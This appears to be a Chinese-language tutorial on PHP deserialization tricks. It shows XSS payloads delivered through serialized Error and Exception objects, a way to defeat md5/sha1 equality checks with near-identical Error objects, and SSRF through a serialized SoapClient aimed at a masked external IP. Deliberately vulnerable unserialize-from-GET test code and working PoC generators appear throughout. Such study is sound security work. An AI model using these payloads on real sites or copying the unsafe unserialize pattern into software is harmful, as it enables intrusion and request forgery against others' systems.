0x01 Error/Exception内置类进行 XSS

Error 内置类

适用环境

  • php7版本
  • 开启报错

Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用 echo <Object> 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法,这是一种挖洞的新思路。

演示

测试代码

1
2
3
<?php
$a = unserialize($_GET['man']);
echo $a;

POC

1
2
3
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);

Exception 内置类

  • php5、7版本
  • 开启报错

演示

测试代码

1
2
3
<?php
$a = unserialize($_GET['man']);
echo $a;

POC

1
2
3
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);

0x02 使用 Error/Exception 内置类绕过哈希比较

原理

Error和Exception这两个PHP原生类中内只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。

以Error为例,看看触发 __toString 方法时会发生什么:

1
2
3
<?php
$a = new Error("payload",1);
echo $a;

payload会被输出

1
2
3
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

当1换成2,对象就不同了,但是__toString方法的输出是一致的

1
2
3
4
5
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
1
2
3
4
5
6
7
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

在什么情况下会触发__toString呢?

  • 使用echoprint直接输出对象
  • 字符串插值
  • 使用字符串连接操作符.
  • 显式地将对象转换为字符串

任何需要将对象作为字符串处理的函数(例如 md5()sha1() 等)都会触发对象的 __toString() 方法。

那么可以利用这点绕过md5()和sha1()函数的比较,比如:

1
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )

0x03 使用 SoapClient 类进行 SSRF

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

SoapClient 类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。因此 SoapClient 类被广泛运用在 SSRF 中。

该类的构造函数如下:

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

测试

1
2
3
4
5
6
7
<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

这里可以配合CRLF漏洞,在《CRLF入门》那篇文章里我没有提到,是因为没有测试成功。